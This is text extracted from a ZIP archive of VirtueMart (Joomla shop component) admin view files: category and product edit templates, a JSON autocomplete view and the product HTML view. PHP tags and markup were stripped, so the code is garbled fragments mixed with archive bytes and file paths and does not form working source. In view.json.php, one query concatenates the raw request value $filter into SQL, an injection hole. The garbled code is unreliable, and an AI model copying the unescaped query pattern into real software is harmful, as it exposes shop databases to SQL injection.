        virtuemart_category_id ) { ?> PK@y>\OCcomponents/com_virtuemart/views/category/tmpl/edit_categoryform.phpnuW+AlangList ?> perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
        category->category_name); ?> category->published); ?> category->slug); ?> category->category_description); ?>
        parent->virtuemart_category_id, 'ordering', '', 'ordering', 'category_name', $this->category->ordering) ); ?> '.$this->categorylist.' '; echo VmHTML::row('raw','COM_VIRTUEMART_CATEGORY_ORDERING', $categorylist ); ?> category->products_per_row); ?> category->limit_list_step); ?> category->limit_list_initial); ?> jTemplateList ,$this->category->category_template,'','directory', 'name',false) ; ?> categoryLayouts ,$this->category->category_layout,'','value', 'text',false) ; ?> productLayouts ,$this->category->category_product_layout,'','value', 'text',false) ; ?>
        category); ?>
        PK@y>\8components/com_virtuemart/views/category/tmpl/index.htmlnuW+APK@y>\)1components/com_virtuemart/views/product/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+.%G5components/com_virtuemart/views/product/view.json.phpnuW+Atype = JRequest::getWord('type', false); $this->row = JRequest::getInt('row', false); $this->db = JFactory::getDBO(); $this->model = VmModel::getModel('Customfields') ; } function display($tpl = null) { $filter = JRequest::getVar('q', JRequest::getVar('term', false) ); $id = JRequest::getInt('id', false); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $product_id = (int)$virtuemart_product_id[0]; } else { $product_id = (int)$virtuemart_product_id; } //$customfield = $this->model->getcustomfield(); /* Get the task */ if ($this->type=='relatedproducts') { $query = "SELECT virtuemart_product_id AS id, CONCAT(product_name, '::', product_sku) AS value FROM #__virtuemart_products_".VMLANG." JOIN `#__virtuemart_products` AS p using (`virtuemart_product_id`)"; if ($filter) $query .= " WHERE product_name LIKE '%". $this->db->getEscaped( $filter, true ) ."%' or product_sku LIKE '%". $this->db->getEscaped( $filter, true ) ."%' limit 0,10"; self::setRelatedHtml($query,'R'); } else if ($this->type=='relatedcategories') { $query = "SELECT virtuemart_category_id AS id, CONCAT(category_name, '::', virtuemart_category_id) AS value FROM #__virtuemart_categories_".VMLANG; if ($filter) $query .= " WHERE category_name LIKE '%". $this->db->getEscaped( $filter, true ) ."%' limit 0,10"; self::setRelatedHtml($query,'Z'); } else if ($this->type=='custom') { $query = "SELECT CONCAT(virtuemart_custom_id, '|', custom_value, '|', field_type) AS id, CONCAT(custom_title, '::', custom_tip) AS value FROM #__virtuemart_customs"; if ($filter) $query .= " WHERE custom_title LIKE '%".$filter."%' limit 0,50"; $this->db->setQuery($query); $this->json['value'] = $this->db->loadObjectList(); $this->json['ok'] = 1 ; } else if ($this->type=='fields') { $fieldTypes= $this->model->getField_types() ; $query = 'SELECT *,`custom_value` as value FROM `#__virtuemart_customs` WHERE (`virtuemart_custom_id`='.$id.' or `custom_parent_id`='.$id.' ) '; $query .= 'order by `ordering` asc'; $this->db->setQuery($query); $rows = $this->db->loadObjectlist(); $html = array (); foreach ($rows as $field) { if ($field->field_type =='C' ){ $this->json['table'] = 'childs'; $q='SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`=1 AND `product_parent_id`= '.JRequest::getInt('virtuemart_product_id'); //$this->db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->db->setQuery($q); if ($childIds = $this->db->loadResultArray()) { // Get childs foreach ($childIds as $childId) { $field->custom_value = $childId; $display = $this->model->displayProductCustomfieldBE($field,$childId,$this->row); if ($field->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; $html[] = '
        '.$field->custom_title.' '.$display.$field->custom_tip.' '.JText::_($fieldTypes[$field->field_type]).' '.$this->model->setEditCustomHidden($field, $this->row).'
        '; $this->row++; } } } elseif ($field->field_type =='E') { $this->json['table'] = 'customPlugins'; $display = $this->model->displayProductCustomfieldBE($field,$product_id,$this->row); if ($field->is_cart_attribute) { $cartIcone= 'default'; } else { $cartIcone= 'default-off'; } $html[] = ' '.$field->custom_title.' '.$display.' '.$this->model->setEditCustomHidden($field, $this->row).'

        '.JTEXT::_('COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT').'

        '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').' '; $this->row++; } else { $this->json['table'] = 'fields'; $display = $this->model->displayProductCustomfieldBE($field,$product_id,$this->row); if ($field->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; $html[] = ' '.$field->custom_title.' '.$display.' '.JText::_($fieldTypes[$field->field_type]).' '.$this->model->setEditCustomHidden($field, $this->row).' '; $this->row++; } } $this->json['value'] = $html; $this->json['ok'] = 1 ; } else if ($this->type=='userlist') { $status = JRequest::getvar('status'); $productShoppers=0; if ($status) { $productModel = VmModel::getModel('product'); $productShoppers = $productModel->getProductShoppersByStatus($product_id ,$status); } if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $html = ShopFunctions::renderProductShopperList($productShoppers); $this->json['value'] = $html; } else $this->json['ok'] = 0 ; if ( empty($this->json)) { $this->json['value'] = null; $this->json['ok'] = 1 ; } echo json_encode($this->json); } function setRelatedHtml($query,$fieldType) { $this->db->setQuery($query); $this->json = $this->db->loadObjectList(); $query = 'SELECT * FROM `#__virtuemart_customs` WHERE field_type ="'.$fieldType.'" '; $this->db->setQuery($query); $customs = $this->db->loadObject(); foreach ($this->json as &$related) { $customs->custom_value = $related->id; $display = $this->model->displayProductCustomfieldBE($customs,$related->id,$this->row); $html = '
        '.$display.' '.$this->model->setEditCustomHidden($customs, $this->row).'
        '; $related->label = $html; } } } // pure php no closing tag PK@y>\Aj΂Dcomponents/com_virtuemart/views/product/tmpl/product_edit_images.phpnuW+A
        product->images[0]->virtuemart_media_id)) $this->product->images[0]->addHidden('file_is_product_image','1'); if (!empty($this->product->virtuemart_media_id)) echo $this->product->images[0]->displayFilesHandler($this->product->virtuemart_media_id,'product'); else echo $this->product->images[0]->displayFilesHandler(null,'product'); ?>
        '.JText::_('COM_VIRTUEMART_RTB_AD').'
        '; $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $imgUrl = 'http://www.removethebackground.de//images/logoremove.png'; if(strpos($tag,'de')!==FALSE){ $url = 'http://www.removethebackground.de/virtuemart.aspx'; } else if(strpos($tag,'fr')!==FALSE){ $url = 'http://www.removethebackground.fr/virtuemart.aspx'; } else { $url = 'http://www.removethebackground.co.uk/virtuemart.aspx'; } echo ''; ?>
        PK@y>\`GDcomponents/com_virtuemart/views/product/tmpl/product_edit_status.phpnuW+A
        waitinglist) && count($this->waitinglist) > 0) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=sentproductemailtoshoppers&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); }*/ ?>
        product->product_available_date, 'product_available_date'); ?>
        product->product_availability, " ", $this->imagePath); ?> <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
        loadTemplate('customer'); ?>
        PK@y>\7components/com_virtuemart/views/product/tmpl/index.htmlnuW+APK@y>\{E=components/com_virtuemart/views/product/tmpl/product_edit.phpnuW+Aeditor = JFactory::getEditor(); ?>
        product->virtuemart_product_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
        addScriptDeclaration( 'jQuery(window).load(function(){ jQuery.ajaxSetup({ cache: false }); })'); ?> PK@y>\rhu,,Fcomponents/com_virtuemart/views/product/tmpl/product_edit_customer.phpnuW+A
        JText::_ ('COM_VIRTUEMART_PRODUCT_SHOPPERS'), 'notify' => JText::_ ('COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST'), ); $mail_default = 'notify'; if (VmConfig::get ('stockhandle', 0) != 'disableadd' or empty($this->waitinglist)) { echo ''; } else { echo VmHtml::radioList ('customer_email_type', $mail_default, $mail_options); } ?>




        lists['OrderStatus'];?>

        product->product_name)); ?>
        productShoppers); ?>
        waitinglist)) { ?>
        waitinglist) && count ($this->waitinglist) > 0) { $i=0; foreach ($this->waitinglist as $key => $wait) { if ($wait->virtuemart_user_id == 0) { $row = ''; } else { $row = ''; } echo $row; $i = 1 - $i; } } else { ?>
        ' . $wait->notify_email . '
        ' . $wait->name . '' . $wait->username . '' . '' . $wait->notify_email . '' . '
        '; echo JText::sprintf('COM_VIRTUEMART_AD_ACY',$aflink); ?>
        PK@y>\kW]u9components/com_virtuemart/views/product/tmpl/massxref.phpnuW+Atask=='massxref_cats' or $this->task=='massxref_cats_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'category'.DS.'tmpl'.DS.'default.php'); } if($this->task=='massxref_sgrps' or $this->task=='massxref_sgrps_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'shoppergroup'.DS.'tmpl'.DS.'default.php'); }PK@y>\ G Hcomponents/com_virtuemart/views/product/tmpl/product_edit_dimensions.phpnuW+A
        lists['product_lwh_uom'];?>
        lists['product_weight_uom'];?>
          lists['product_iso_uom'];?>
         
        PK@y>\KLIcomponents/com_virtuemart/views/product/tmpl/product_edit_description.phpnuW+A
        editor->display('product_desc', $this->product->product_desc, '100%;', '450', '75', '20', array('pagebreak', 'readmore') ) ; ?>
        product); ?>
        PK@y>\)6components/com_virtuemart/views/product/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ %n+n+8components/com_virtuemart/views/product/tmpl/default.phpnuW+A'); $search_type = JRequest::getVar('search_type', 'product'); // OSP in view.html.php $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', false); if ($product_parent_id=JRequest::getInt('product_parent_id', false)) $col_product_name='COM_VIRTUEMART_PRODUCT_CHILDREN_LIST'; else $col_product_name='COM_VIRTUEMART_PRODUCT_NAME'; ?>
        productlist ?> lists['filter_order_Dir'], $this->lists['filter_order'] ); ?> */ ?> virtuemart_category_id ) { ?> productlist) ) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->productlist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id,null,'virtuemart_product_id'); $published = JHTML::_('grid.published', $product, $i ); $is_featured = $this->toggle($product->product_special, $i, 'toggle.product_special'); $link = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$product->virtuemart_product_id; ?> virtuemart_product_id.'&option=com_virtuemart'); ?> virtuemart_category_id ) { ?> virtuemart_product_id; ?>
        sort('product_name',$col_product_name) ?> sort('product_parent_id','COM_VIRTUEMART_PRODUCT_CHILDREN_OF'); ?> sort('product_sku') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_PRICE_TITLE') ; ?> sort('pc.ordering', 'COM_VIRTUEMART_FIELDMANAGER_REORDER'); ?> productlist); //vmCommonHTML::getSaveOrderButton( $num_rows, 'changeordering' ); ?> sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_S') ; ?> sort('product_special', 'COM_VIRTUEMART_PRODUCT_FORM_SPECIAL'); ?> sort('published') ; ?> sort('p.virtuemart_product_id', 'COM_VIRTUEMART_ID') ?>
        product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_parent_id ) { VirtuemartViewProduct::displayLinkToParent($product->product_parent_id); } ?> virtuemart_product_id , $product->product_name); ?> $mediaLimit = (int)VmConfig::get('mediaLimit',20); if($this->pagination->limit<=$mediaLimit or $total<=$mediaLimit){ // Product list should be ordered $this->model->addImages($product,1); $img = '('.$product->mediaitems.')'.$product->images[0]->displayMediaThumb('class="vm_mini_image"',false ); //echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); } else { //echo JHTML::_('link', $link, ' ('.$product->mediaitems.')', array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name) ); $img = ' ('.$product->mediaitems.')'; } echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); ?> product_sku; ?> product_price_display)) { echo $product->product_price_display; } elseif(!empty($product->prices)) { echo JText::_('COM_VIRTUEMART_MULTIPLE_PRICES'); } else { echo JText::_('COM_VIRTUEMART_NO_PRICE_SET'); } ?> virtuemart_category_id.'&option=com_virtuemart'), $product->category_name); echo $product->categoriesList; ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $product->ordering ); ?> pagination->orderDownIcon( $i, $total , true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $product->ordering ); ?> ordering ); ?> virtuemart_manufacturer_id) { echo JHTML::_('link', JRoute::_('index.php?view=manufacturer&task=edit&virtuemart_manufacturer_id[]='.$product->virtuemart_manufacturer_id.'&option=com_virtuemart'), $product->mf_name); } ?> reviews); ?> virtuemart_product_id; // echo $product->vendor_name; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        virtuemart_category_id ) { ?> PK@y>\"FFIcomponents/com_virtuemart/views/product/tmpl/product_edit_information.phpnuW+A
        langList; ?>
        product->virtuemart_product_id ?> lists['manufacturers'])) { ?> '; }?> product->ordering)) { $this->product->ordering = 0; ?>
        lists['manufacturers'];?> productLayouts, 'layout', 'size=1', 'value', 'text', $this->product->layout); ?>
        shoppergroupList; ?> lists['vendors'];?> '; }?>
        activeShoppergroups); ?> product; if (empty($this->product->prices)) { $this->product->prices[] = array(); } $this->i = 0; $rowColor = 0; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $currency_model = VmModel::getModel ('currency'); $currencies = $currency_model->getCurrencies (); $nbPrice = count ($this->product->prices); $this->priceCounter = 0; $this->product->prices[$nbPrice] = $this->product_empty_price; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); ?> product->prices); foreach ($this->product->prices as $sPrices) { if(count($sPrices) == 0) continue; if (empty($sPrices['virtuemart_product_price_id'])) { $sPrices['virtuemart_product_price_id'] = ''; } //vmdebug('my $sPrices ',$sPrices); $sPrices = (array)$sPrices; $this->tempProduct = (object)array_merge ((array)$this->product, $sPrices); $this->calculatedPrices = $calculator->getProductPrices ($this->tempProduct); if((string)$sPrices['product_price']==='0' or (string)$sPrices['product_price']===''){ $this->calculatedPrices['costPrice'] = ''; } $currency_model = VmModel::getModel ('currency'); $this->lists['currencies'] = JHTML::_ ('select.genericlist', $currencies, 'mprices[product_currency][' . $this->priceCounter . ']', '', 'virtuemart_currency_id', 'currency_name', $this->tempProduct->product_currency); $DBTax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING') ; foreach ($calculator->rules['DBTax'] as $rule) { $DBTax .= $rule['calc_name'] . '
        '; } $this->DBTaxRules = $DBTax; $tax = ''; //vmText::_('COM_VIRTUEMART_TAX_EFFECTING').'
        '; foreach ($calculator->rules['Tax'] as $rule) { $tax .= $rule['calc_name'] . '
        '; } foreach ($calculator->rules['VatTax'] as $rule) { $tax .= $rule['calc_name'] . '
        '; } $this->taxRules = $tax; $DATax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING'); foreach ($calculator->rules['DATax'] as $rule) { $DATax .= $rule['calc_name'] . '
        '; } $this->DATaxRules = $DATax; if (!isset($this->tempProduct->product_tax_id)) { $this->tempProduct->product_tax_id = 0; } $this->lists['taxrates'] = ShopFunctions::renderTaxList ($this->tempProduct->product_tax_id, 'mprices[product_tax_id][' . $this->priceCounter . ']'); if (!isset($this->tempProduct->product_discount_id)) { $this->tempProduct->product_discount_id = 0; } $this->lists['discounts'] = $this->renderDiscountList ($this->tempProduct->product_discount_id, 'mprices[product_discount_id][' . $this->priceCounter . ']'); $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList ($this->tempProduct->virtuemart_shoppergroup_id, false, 'mprices[virtuemart_shoppergroup_id][' . $this->priceCounter . ']'); if ($this->priceCounter == $nbPrice) { $tmpl = "productPriceRowTmpl"; } else { $tmpl = "productPriceRowTmpl_" . $this->priceCounter; } ?> priceCounter++; } ?>
        */ ?> loadTemplate ('price'); ?>
        product->virtuemart_product_id) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=createVariant&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); $add_child_button=""; } else { $link=""; $add_child_button=" not-active"; } ?> product->product_parent_id) { $result = vmText::_('COM_VIRTUEMART_EDIT').' ' . $this->product_parent->product_name; echo ' | '.JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$this->product->product_parent_id), $this->product_parent->product_name, array('title' => $result)).' | '.$this->parentRelation; } ?>
        product_childs)>0 ) { $customs = array(); if(!empty($this->product->customfields)){ foreach($this->product->customfields as $custom){ //vmdebug('my custom',$custom); if($custom->field_type=='A'){ $customs[] = $custom; } } } // vmdebug('ma $customs',$customs); ?> product_childs as $child ) { $i = 1 - $i; ?> custom_value; if(isset($child->$attrib)){ $childAttrib = $child->$attrib; } else { //vmdebug('unset? use Fallback product_name instead $attrib '.$attrib,$child); $childAttrib = $child->product_name; } ?>
        custom_value)))?> foo
        virtuemart_product_id), $child->slug, array('title' => vmText::_('COM_VIRTUEMART_EDIT').' '.$child->product_name)) ?> product_in_stock ?> product_ordered ?> virtuemart_product_id.'][published]', $child->published) ?>
        PK@y>\$**Dcomponents/com_virtuemart/views/product/tmpl/product_edit_custom.phpnuW+Aproduct->customfields_fromParent)) { ?> '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .''; /*$tables['fields'] .= ' ';*/ } else { $tables['fields'] .= ''; } $i++; } } $emptyTable = ' '; ?>
        '.$this->customsList; ?>
        '','products'=>'','fields'=>'','customPlugins'=>'',); if (isset($this->product->customfields)) { foreach ($this->product->customfields as $customfield) { if ($customfield->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; if ($customfield->field_type == 'Z') { // R: related categories $tables['categories'] .= '
        '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
        '; } elseif ($customfield->field_type == 'R') { // R: related products $tables['products'] .= '
        '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
        '; } elseif ($customfield->field_type == 'G') { // no display (group of) child , handled by plugin; } elseif ($customfield->field_type == 'E'){ $tables['fields'] .= '
        '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').'
        '.JText::_($customfield->custom_title).' '.$customfield->display.$customfield->custom_tip.''. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i).' .'
        '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_($this->fieldTypes[$customfield->field_type]). VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
        '.JText::_( 'COM_VIRTUEMART_CUSTOM_NO_TYPES').'
        PK@y>\H!!Ccomponents/com_virtuemart/views/product/tmpl/product_edit_price.phpnuW+A
        */ ?>
        */ ?>
        lists['currencies']; ?> lists['shoppergroups']; ?>
          vendor_currency; ?> lists['taxrates']; ?>
        ' . $this->taxRules ?>
        vendor_currency; ?> lists['discounts']; ?>
        DBTaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
        ' . $this->DBTaxRules . '
        '; } if (!empty($this->DATaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
        ' . $this->DATaxRules; } // vmdebug('my rules',$this->DBTaxRules,$this->DATaxRules); echo JText::_('COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING').$this->DBTaxRules; ?>
        tempProduct->product_price_publish_up, 'mprices[product_price_publish_up][]'); ?> tempProduct->product_price_publish_down, 'mprices[product_price_publish_down][]'); ?>
        vendor_currency; ?>
        JText::_ ('JNO'), 1 => JText::_ ('JYES')); // echo VmHtml::radioList ('mprices[use_desired_price][' . $this->priceCounter . ']', $this->tempProduct->override, $options); echo '' ?>
        product->override); $options = array(0 => JText::_ ('COM_VIRTUEMART_OVERWRITE_OFF'), 1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_FINAL'), -1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_PRICE_TAX')); echo VmHtml::radioList ('mprices[override][' . $this->priceCounter . ']', $this->tempProduct->override, $options,'',' '); ?>

        PK@y>\2components/com_virtuemart/views/product/index.htmlnuW+APK@y>\׻LQQ5components/com_virtuemart/views/product/view.html.phpnuW+AgetLayout()); vmdebug('VirtuemartViewProduct '.$task); $this->assignRef('task', $task); // Load helpers if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $model = VmModel::getModel(); // Handle any publish/unpublish switch ($task) { case 'add': case 'edit': //this was in the controller for the edit tasks, we need this for the access by FE $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.DS.'views'.DS.'product'.DS.'tmpl'); VmConfig::loadJLang('com_virtuemart_orders',TRUE); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id', array()); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $product = $model->getProductSingle($virtuemart_product_id,false); //$product_parent= $model->getProductParent($product->product_parent_id); $product_parent= $model->getProductSingle($product->product_parent_id,false); $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown($product->virtuemart_manufacturer_id); $this->assignRef('manufacturers', $manufacturers); // Get the category tree if (isset($product->categories)) $category_tree = ShopFunctions::categoryListTree($product->categories); else $category_tree = ShopFunctions::categoryListTree(); $this->assignRef('category_tree', $category_tree); //Fallback for categories inherited by parent to correctly calculate the prices if(empty($product->categories) and !empty($product_parent->categories)){ $product->categories = $product_parent->categories; } //Get the shoppergoup list - Cleanshooter Custom Shopper Visibility if (isset($product->shoppergroups)) $shoppergroupList = ShopFunctions::renderShopperGroupList($product->shoppergroups); $this->assignRef('shoppergroupList', $shoppergroupList); // Load the product price if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $product_childIds = $model->getProductChildIds($virtuemart_product_id); $product_childs = array(); foreach($product_childIds as $id){ $product_childs[] = $model->getProductSingle($id,false); } $this->assignRef('product_childs', $product_childs); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); // Load Images $model->addImages($product); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); // Load the vendors $vendor_model = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors'] = Shopfunctions::renderVendorList($product->virtuemart_vendor_id); } // Load the currencies $currency_model = VmModel::getModel('currency'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $vendor_model->setId(Permissions::getInstance()->isSuperVendor()); $vendor = $vendor_model->getVendor(); if(empty($product->product_currency)){ $product->product_currency = $vendor->vendor_currency; } //$currencies = JHTML::_('select.genericlist', $currency_model->getCurrencies(), 'product_currency', '', 'virtuemart_currency_id', 'currency_name', $product->product_currency); $currency = $currency_model->getCurrency($product->product_currency); $this->assignRef('product_currency', $currency->currency_symbol); $currency = $currency_model->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currency->currency_symbol); if(count($manufacturers)>0 ){ $lists['manufacturers'] = JHTML::_('select.genericlist', $manufacturers, 'virtuemart_manufacturer_id', 'class="inputbox"', 'value', 'text', $product->virtuemart_manufacturer_id ); } if(!empty($product->product_weight_uom)){ // or !$task=='add' $product_weight_uom = $product->product_weight_uom; $product_unit = $product->product_unit; $product_lwh_uom = $product->product_lwh_uom; } else if(!empty($product_parent)){ $product_weight_uom = $product_parent->product_weight_uom; $product_unit = $product_parent->product_unit; $product_lwh_uom = $product_parent->product_lwh_uom; } else { $product_weight_uom = VmConfig::get('weight_unit_default'); $product_unit = VmConfig::get('weight_unit_default'); $product_lwh_uom= VmConfig::get('lwh_unit_default'); } $lists['product_weight_uom'] = ShopFunctions::renderWeightUnitList('product_weight_uom',$product_weight_uom); $lists['product_iso_uom'] = ShopFunctions::renderUnitIsoList('product_unit',$product_unit); $lists['product_lwh_uom'] = ShopFunctions::renderLWHUnitList('product_lwh_uom', $product_lwh_uom); if( empty( $product->product_available_date )) { $product->product_available_date = date("Y-m-d") ; } $waitinglistmodel = VmModel::getModel('waitinglist'); /* Load waiting list */ if ($product->virtuemart_product_id) { //$waitinglist = $this->get('waitingusers', 'waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($product->virtuemart_product_id); $this->assignRef('waitinglist', $waitinglist); } $productShoppers = $model->getProductShoppersByStatus($product->virtuemart_product_id,array('S') ); $this->assignRef('productShoppers', $productShoppers); $orderstatusModel = VmModel::getModel('orderstatus'); $lists['OrderStatus'] = $orderstatusModel->renderOSList(array(),'order_status',TRUE); $field_model = VmModel::getModel('customfields'); $fieldTypes = $field_model->getField_types(); $this->assignRef('fieldTypes', $fieldTypes); // Add the virtuemart_shoppergroup_ids $cid = JFactory::getUser()->id; $this->activeShoppergroups = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_vmuser_shoppergroups','virtuemart_user_id',$cid,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','category', 4, 0); if(!$this->activeShoppergroups or (is_array($this->activeShoppergroups) and count($this->activeShoppergroups)==0)){ //vmdebug('$this->activeShoppergroups',$this->activeShoppergroups); $shoppergroupModel = VmModel::getModel('shoppergroup'); $this->activeShoppergroups = vmText::_($shoppergroupModel->getDefault(0)->shopper_group_name); } /* Load protocustom lists */ $customsList = $field_model->getCustomsList(); $attribs='style= "width: 300px;"'; $customlist = JHTML::_('select.genericlist', $customsList,'customlist', $attribs); $this->assignRef('customsList', $customlist); $ChildCustomRelation = $field_model->getProductChildCustomRelation(); $this->assignRef('ChildCustomRelation',$ChildCustomRelation); if ($product->product_parent_id > 0) { $parentRelation= $field_model->getProductParentRelation($product->virtuemart_product_id); $this->assignRef('parentRelation',$parentRelation); // Set up labels $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG'); } else { if ($task == 'add') $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL'); else $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL'); $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG'); } $this->assignRef('product', $product); $product_empty_price = array( 'virtuemart_product_price_id' => 0 , 'virtuemart_product_id' => $virtuemart_product_id , 'virtuemart_shoppergroup_id' => NULL , 'product_price' => NULL , 'override' => NULL , 'product_override_price' => NULL , 'product_tax_id' => NULL , 'product_discount_id' => NULL , 'product_currency' => $vendor->vendor_currency , 'product_price_publish_up' => NULL , 'product_price_publish_down' => NULL , 'price_quantity_start' => NULL , 'price_quantity_end' => NULL ); $this->assignRef ('product_empty_price', $product_empty_price); $this->assignRef('product_parent', $product_parent); /* Assign label values */ $this->assignRef('action', $action); $this->assignRef('info_label', $info_label); $this->assignRef('status_label', $status_label); $this->assignRef('dim_weight_label', $dim_weight_label); $this->assignRef('images_label', $images_label); $this->assignRef('delete_message', $delete_message); $this->assignRef('lists', $lists); // Toolbar if ($product->product_sku) $sku=' ('.$product->product_sku.')'; else $sku=""; if (!empty($product->canonCatLink)) $canonLink = '&virtuemart_category_id=' . $product->canonCatLink; else $canonLink = ''; if(!empty($product->virtuemart_product_id)){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $menuItemID = shopFunctionsF::getMenuItemId(JFactory::getLanguage()->getTag()); $text = ''. $product->product_name.$sku.''; } else { $text = $product->product_name.$sku; } 